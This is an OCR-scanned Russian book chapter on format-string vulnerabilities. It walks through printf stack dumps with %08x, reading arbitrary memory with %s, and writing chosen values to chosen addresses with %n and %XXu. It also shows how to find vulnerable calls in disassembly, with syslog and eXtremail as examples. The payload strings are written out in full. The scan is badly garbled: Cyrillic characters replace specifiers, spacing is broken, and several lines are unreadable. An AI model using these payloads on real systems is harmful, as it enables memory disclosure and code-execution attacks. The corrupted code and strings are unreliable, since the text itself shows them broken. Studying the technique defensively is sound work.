На главную | Содержание | Назад | Вперёд
Наши друзья

 

 

Уязвимые места, связанные со строкой форматирования

В принципе нет ничего сложного в использовании ошибок, связанных с применением строк форматирования. Вполне реально провести успешную атаку с помощью функции API, которой передается строка форматирования (наподобие %s), когда значение аргумента строки форматирования контролируется удаленным хакером. К сожалению, эта проблема достаточно широко распространена, и основной ее причиной является лень программистов. Однако проблема настолько проста, что выявить ее позволяют простейшие программы исследования кода. Поэтому после выявления этого класса уязвимых мест в конце 1990-х годов, подобные ошибки были достаточно быстро выявлены и устранены в большей части программного обеспечения.
Знания о существовании ошибок, связанных с использованием строк форматирования, предоставляли хакерам "ключи от сказочного королевства". Но когда эти знания попали в руки специалистов по обеспечению безопасности, то "все богатство было утрачено". Представьте, как были разочарованы некоторые люди из круга "посвященный". Кто-то отобрал у них источник радости.
Рассмотрим пример стандартной функции, в которой есть ошибка строки форматирования.
void some_func(char *c)
{
printf(o);
Обратите внимание, что, очень важно, в отличие от случая жестко закодированной строки форматирования, в этом случае строка форматирования предоставляется пользователем и также передается в стек.
Если мы передадим в строку форматирования данные, подобные следующим
АААААААА%08х%08х%0 8х%08х
значения, которые будут выданы из стека, станут подобны представленным ниже.
AAAAAAAA0 012ff80000000007ffdfOOOcccccccc
Строка %08х заставляет функцию выдавать двойное слово из стека. Дамп стека выглядит следующим образом.
вывод данных вывод данных вывод данных и т.д.
строка форматирования которой мы управляем

В предыдущем примере вместе с важными данными в стеке сохранено много "мусора". Как видим, каждая из строк %08х, которую мы разместили в строке форматирования, приводит к выводу следующего значения в стеке. Если мы добавим достаточное количество копий строк %08х, мы заставим указатель пройти весь стек, пока он не станет указывать на контролируемую нами область стека. Например, если предоставить намного более длинную строку форматирования
АААААААА%0 8х%0 8х%0 8х%0 8х%0 8х%0 8х%08х%0 8х%0 8х%0 8х%08х%0 8х%0 8х%0 8х% 0 8х%08х%0 8х%0 8х%08х%0 8х%08х%0 8х%0 8х%08х%0 8х%0 8х%08х%0 8х%0 8х%0 8х%0 8х%0 8х%08х%0 8х%0 8х%0 8х%0 8х%0 8х%0 8х%08х%0 8х%08х%0 8х%0 8х
то мы получим следующий результат
AAAAAAAA0012ff8003 82 02107ffdf000
сссссссссссссссссссссссссссссссссссссссссссссссс сссссссссссссссссссссссссссссссссссссссссссссссс cccccccccccccccccccccccccccccccc0 012ff8 00 04 0d6 95 0012ff40021002100 3 82 0210 7ffdfOOOcccccccccccccccc cccccccccccccccccccccccccccccccccccccccccccccccc cccccccccccccccccccccccccccccccccccccccccccccccc cccccccccccccccc41414141414141417 8 3 83025
В данном (случае (завершаем шыщвд «строкой "'"Ш4Й14114Г',, за (строка "МАЛ" взята из нашей строки форматирования! Таким образом, мы заставили функцию printf пройти стек до области контролируемых пользователем данных.
0012FF3C СС СС СС СС IIII
г.Ч-Ш-:т! 41 4.1 -i.i. 4:. АААА <- указатель был
0012FF4 4 41 41 41 41 АААА <- перемещен
У012ГГ«а ,15 30 За 73 %08х <- сюда
%08х %08х
0012FF54 25 30 38 78 %08х
Вывод данных из любой области памяти
Поскольку мы управляем строкой форматирования, а также значениями, которые используются в стеке, то мы можем заменить строку %08х на %s, т.е. значение в стеке будет использоваться как указатель строки. Поскольку мы управляем значением в стеке, мы можем установить любой подобный указатель и заставить вывести данные после области, на которую указывает указатель.
В качестве примера мы введем следующие данные в конце строки форматирования.
>//m/mc_/cs_
Кроме того, нам нужно заменить значение 0x41414141 на реальный указатель, иначе будет вызвано исключение SEGV. Допустим, мы хотим выполнить дамп данных, хранящихся по адресу 0x0x77F7F570 (возможно, нашей целью является получение работающего кода). Окончательная строка выглядит следующим образом.

Переполнение буфера 285
AAAA\x7 0\xF5\xF7\x77%08x%0 8x%0 8x%0 8x%08x%0 8x%0 8x%0 8x%08x%0 8x%0 8x% 08х%0 8х%0 8х%0 8х%0 8х%0 8х%0 8х%0 8х%0 8х%0 8х%0 8х%0 8х%0 8х%0 8х%0 8х%0 8х%0 8x%08x%08x%0 8x%08x%0 8x%08x%08x%08x%0 8x%0 8x%08x%08x%0 8x%0 8x_%s_
Получаем следующий результат.
AAAApJ«w0012f£80000000007ffdf000
сссссссссссссссссссссссссссссссс сссссссссссссссссссссссссссссссс сссссссссссссссссссссссссссссссс сссссссссссссссссссссссссссссссс 0012ff80004 0d6950012ff4 000000000 000000007ffdf000cccccccccccccccc cccccccccccccccccccccccccccccccc cccccccccccccccccccccccccccccccc cccccccccccccccccccccccccccccccc cccccccccccccccc41414141_|j=|-i Щ-1 iD$^|br^_
По этому методу мы можем выполнить дамп больших фрагментов исследуемого двоичного файла и использовать полученные результаты для восстановления исходного кода и последующих атак. Безусловно, обработка строки завершится на первом символе NULL, найденном в памяти9. Это вызывает некоторые затруднения, но не является тупиковой проблемой. Есть еще одна подобная проблема — невоз­можность выполнения дампа памяти "нижних" адресов (т.е. адресов, в которых есть символ NULL). Например, в операционной системе Windows основная выполняемая программа загружается по адресу 0x00400000. Приставка 0x00 всегда обязательна для адресов в этой области, что делает невозможным дамп памяти. Однако с помощью этого метода можно получить криптографические ключи, пароли, программный код в верхних адресах, включая код большинства загруженных библиотек DLL
Спецификатор формата %п
Количество символов (байтов) в строке формата до спецификатора %п сохраняется в переменной (int), адрес которой указан как следующий аргумент. Спецификатор %п подсчитывает количество символов, которые предполагается вывести с помощью функции API. Лучше пояснить это на примере. ::Ч ..Д / .:'.
int my_int; fj v % Q SJ v .-5 у J л % :J g у % :jSy.i"S*.% -i 8 - % 0 3 л t r; printf("AAAAA%n &my_int);
prin36pajon,e%d^H модйп,что в нашей строке форматирования есть жестко закодиро-В результате исполнения этого кода выводится строка АУАА got 5. Переменной присваивается значение 5, поскольку пять символов А были напечатаны к тому времени, как машина обнаружила спецификатор %п.
AAAA\xO4\xFO\xFD\x7F\x05\xF0\xFD\x7F\x0 6\xF0\xFD\x7F\x07\xF0\xFD\ x7F%0 8x%0 8x%0 8x%0 8x%08x%0 8x%08x%0 8x%08x%0 8x%0 8x%08x%0 8x%D8x%0 8x%0 8х%0 8х%0 8х%0 8х%0 8х%08х%0 8х%0 8х%0 8х%0 8х%08х%0 8х%0 8х%0 8х%03х%08х%0 8 х%0 8х%08х%0 8х%0 8х%08х%0 8х%08х%08х%0 8х%0 8х%п
Обратите внимание, что в нашей строке форматирования есть жестко закодированное число (x04\xF0\xFD\x7F), ЧТО эквивалентно (согласно прямому порядку байт) числу 0x7FFDF004. Обратите внимание также на спецификатор формата %п в конце нашей строки. Заполнитель %08х переводит указатель в стеке до позиции нашего закодированного числа (0x7FFDF004). Затем следует спецификатор формата %п, который заставляет сохранить в переменной (intpointer) определенное количество байтов, введенных на данный момент. Указатель стека установлен на число, которое расценивается как адрес, где следует записать значение переменной (int pointer), т.е. данные записываются по адресу 0x7FFDF004. Следовательно, мы полностью контролируем содержимое памяти по этому адресу.
После выполнения всех этих действий интересующая область памяти выглядит следующим образом.
7FFDF000 00 00 01 00 _
7FFDF004 64 01 00 00 d... <- здесь мы записали число 7FFDF008 00 00 40 00
Число 0x00000164 равнозначно 356, т.е. согласно информации машины, были записаны 356 байт. В следующем примере обратите внимание, что мы закодировали четыре адреса в строке, каждый со смещением в один байт. Если мы разместим четыре спецификатора формата %п в конце нашей строки форматирования, то сможем переписать каждый байт в интересующем адресе. Таким образом мы способны управлять точным положением в памяти численного вывода функции с помощью строки форматирования. Как видим, мы последовательно увеличиваем значение указателя на один байт.
AAAA\xO4\xF0\xFD\x7F\xO5\xF0\xFD\x7F\xO6\xF0\xFD\x7F\xO7\xF0\xFD\ x7F%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%0 8х%08х%08х%08х%08х%08х%08х%08х%08х%08х%08х%08х%08х%08х%08х%08х%08 x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%n%n%n%n
Интересующая область памяти теперь выглядит следующим образом.
7FFDF000 00 00 01 00 _
7FFDF004 64 64 64 64 dddd <- мы записали 0x00000164 четыре раза 7FFDF008 01 00 00 00 ____
Правильное понимание вышеизложенных действий критически важно для проведения атак этого типа: текущее количество байтов, представленное в этом примере, равно 0x164. Нам удалось записать это число четыре раза подряд, каждый раз сдвигая указатель на один байт. В конечном итоге число 0x64646464 записывается по интересующему нас адресу.
Спецификатор формата %00и
В предыдущем примере мы использовали текущее значение записанных байтов. Если "пустить дело на самотек", то существует вероятность того, что это значение не будет именно тем значением, которое мы хотим разместить в памяти. К счастью, мы можем довольно легко управлять значением этого числа. После использования рассмотренного выше метода значение имеет только самый младший байт, т.е. нам нужно заменить значения адресов памяти, в которых записан самый младший байт, специально подготовленными значениями.
В нашей новой строке форматирования между каждым адресом содержится заполнитель 0x41414141.
AAAA\x04\xF0\xFD\x7F\x41\x41\x41\x41\x05\xF0\xFD\x7F\x41\x41\x41\x \41x\xO6\xFO\xFD\x7F\x41\x41\x41\x41\xO7\xFO\xFD\x7F%08x%08x%08x%08x
%0 8х%0 8х%0 8х%0 8х%0 8х%0 8х%0 8х%08х%0 8х%0 8х%0 8х%0 8х%0 8х%0 8х%08х%0 8х%0 8х

%08х%08х%08х%08х%08х%08х%08х%08х%08х%08х%08х%08х%08х%08х%08х%08х%0 8х %08x%08x%08x%16u%n
Мы также добавили новый спецификатор форматирования %16и. Это новый спецификатор влияет на значение текущего количества выведенных байтов. В данном случае к этому значению добавляется 16. Таким образом, используя формат %ХХи, мы можем управлять значением числа, которое размещается в нужной области памяти. Отлично!
Результат использования %20u%n выглядит следующим образом.
7FFDF000 00 00 01 00 ....
7FFDF004 7С 01 00 00 |... 17с = 380
7FFDF008 00 00 40 00 . .0.
Результат использования %4 0u%n представлен ниже.
7FFDFO0O 00 00 01 00 ....
7FFDF004 90 01 00 00 ____ 190 = 400
7FFDF008 00 00 40 00 ..0.
Как видим, теперь хакер может контролировать точное значение числа, размещаемого в области памяти, т.е. этот метод позволяет управлять каждым байтом в интересующей области памяти.
Рассмотрим следующую строку форматирования.
AAAA\x04\xF0\xFD\x7F\x4 2\x4 2\x4 2\x42\x05\xF0\xFD\x7F\x41\x41\x41\ x41\x0 6\xF0\xFD\x7F\x41\x41\x41\x41\x07\xF0\xFD\x7F%08x%08x%08x%0 8х%08х%08х%08х%08х%08х%08х%08х%08х%08х%08х%08х%08х%08х%0 8х%08х%08 х%08х%08х%08х%08х%08х%08х%08х%08х%08х%08х%08х%08х%0 8х%08х%0 8х%08х I08x%0 8x%08x%08x%08x%152u%n%64u%n%191u%n%256u%n
Обратите внимание на значения, взятые для нашего шаблона %ХХи. Эта строка форматирования позволяет получить полное управление над интересующими областями памяти.
7FFDF000 00 00 01 00 ....
7FFDF004 00 40 FF FF . @уу <- мы записали OxFFFF4000 7FFDF008 03 00 00 00 ....
Продемонстрированное нами точное управление значениями данных в памяти, позволяет переустановить указатели в куче или в стеке. Для систем Windows стек хранится в "нижней" области памяти, где невозможно закодировать данные без символа NULL. Это, безусловно, ослабляет непосредственную атаку, делая программу атаки более сложной.
Выявление проблемы в коде
Выявление мест в программе, в которых возможно проведение атак этого вида, считается только половиной успеха. Одним из важных действий является проверка изменений в стеке после вызова. Если исправления в стеке (stack correction) добавляются в ESP после подозрительного вызова, значит, у нас есть интересный материал для работы.
Нормальное использование функции printf ()
printf ("%s", t) ;
00401032 call 00401037 add printf (00401060) esp, 8

Некорректное использование функции printf ()
printf (t);
004010ZD call printf (00401060)
00401032 add esp,4
288 Глава 7
Некорректное использование функции printf () printf(t);
0040102D call printf (00401060)
00401032 add esp,4
Обратите внимание, что измненение указателя в стеке после некорректного вызова функции printf () составляет только 4 байта. Это подскажет хакеру, что он нашел уязвимое место с возможностью использования при атаке строки форматирования.
Шаблон атаки: переполнение буфера с помощью строки форматирования в функции syslog O
При использовании функции syslog очень часто допускаются ошибки и предоставленные пользователем данные передаются какстрока форматирования. Это достаточно распространенная проблема, из-за которой были обнаружены многие уязвимые места и созданы многие
В почтовом сервере eXtremail используется функция flog О, которая передает предоставленные пользователем данные как строку форматирования вызову функции fprintf. Этой ошибкой можно воспользоваться при создании программы атаки.

 

На главную | Содержание | Назад | Вперёд
 
Яндекс.Метрика